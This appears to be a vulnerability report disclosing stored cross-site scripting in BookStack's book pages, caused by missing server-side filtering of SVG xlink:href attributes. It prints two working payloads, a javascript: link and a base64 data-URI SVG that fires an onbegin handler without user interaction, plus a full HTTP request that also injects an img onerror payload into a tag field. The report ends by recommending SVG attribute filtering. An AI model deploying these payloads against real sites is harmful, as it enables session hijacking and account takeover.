There is svg tag filtration problem in “book page” egit leading to stored XSS.
SVG images can be used on book pages, but there is not server side attribute filtration implemented for it.
There is filter for href
attribute, but inside SVG xlink:href
used. That means attacker can use both javascript:
or data:
inside it.
SVG with XSS №1 (user interaction required, acts like <a>)
<svg id="test" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a>
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>
Example request with it
POST /bookstack/public/books/bookname/page/pagename HTTP/1.1
Host: 192.168.255.78
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Origin: http://192.168.255.78
DNT: 1
Connection: close
Referer: /bookstack/public/books/bookname/page/pagename
Cookie: <COOKIE>
Upgrade-Insecure-Requests: 1
_token=<TOKEN>&_method=PUT&summary=&name=test&html=<p><svg+xmlns%3d"http%3a//www.w3.org/2000/svg"+xmlns%3axlink%3d"http%3a//www.w3.org/1999/xlink"+width%3d"100"+height%3d"100"><a+xlink%3ahref%3d"javascript%3aalert(document.domain)"><rect+x%3d"0"+y%3d"0"+width%3d"100"+height%3d"100"></rect></a></svg></p>&tags%5B0%5D%5Bname%5D=%3Cimg%2Fsrc%2Fonerror%3Dalert%28%29%3E&tags%5B0%5D%5Bvalue%5D=&tags%5B1%5D%5Bname%5D=&tags%5B1%5D%5Bvalue%5D=&tags%5Brandrowid%5D%5Bname%5D=&tags%5Brandrowid%5D%5Bvalue%5D=&attachment_link_uploaded_to=2&attachment_link_name=&attachment_link_url=&template=false
SVG with XSS №2 (svg inside svg, no user interaction needed to shoot xss)
This thing more “spicy”: svg hidden inside uses “on”-events, which be filtered on normal circumstances and also it’s not visible on page
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="data:application/xml;base64 ,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KPGRlZnM+CjxjaXJjbGUgaWQ9InRlc3QiIHI9IjAiIGN4PSIwIiBjeT0iMCIgc3R5bGU9ImZpbGw6ICNGMDAiPgo8c2V0IGF0dHJpYnV0ZU5hbWU9ImZpbGwiIGF0dHJpYnV0ZVR5cGU9IkNTUyIgb25iZWdpbj0nYWxlcnQoZG9jdW1lbnQuZG9tYWluKScKb25lbmQ9J2FsZXJ0KCJvbmVuZCIpJyB0bz0iIzAwRiIgYmVnaW49IjBzIiBkdXI9Ijk5OXMiIC8+CjwvY2lyY2xlPgo8L2RlZnM+Cjx1c2UgeGxpbms6aHJlZj0iI3Rlc3QiLz4KPC9zdmc+#test"/>
</svg>
Stored XSS on book-page
Add filtration to svg-specific tags/attributes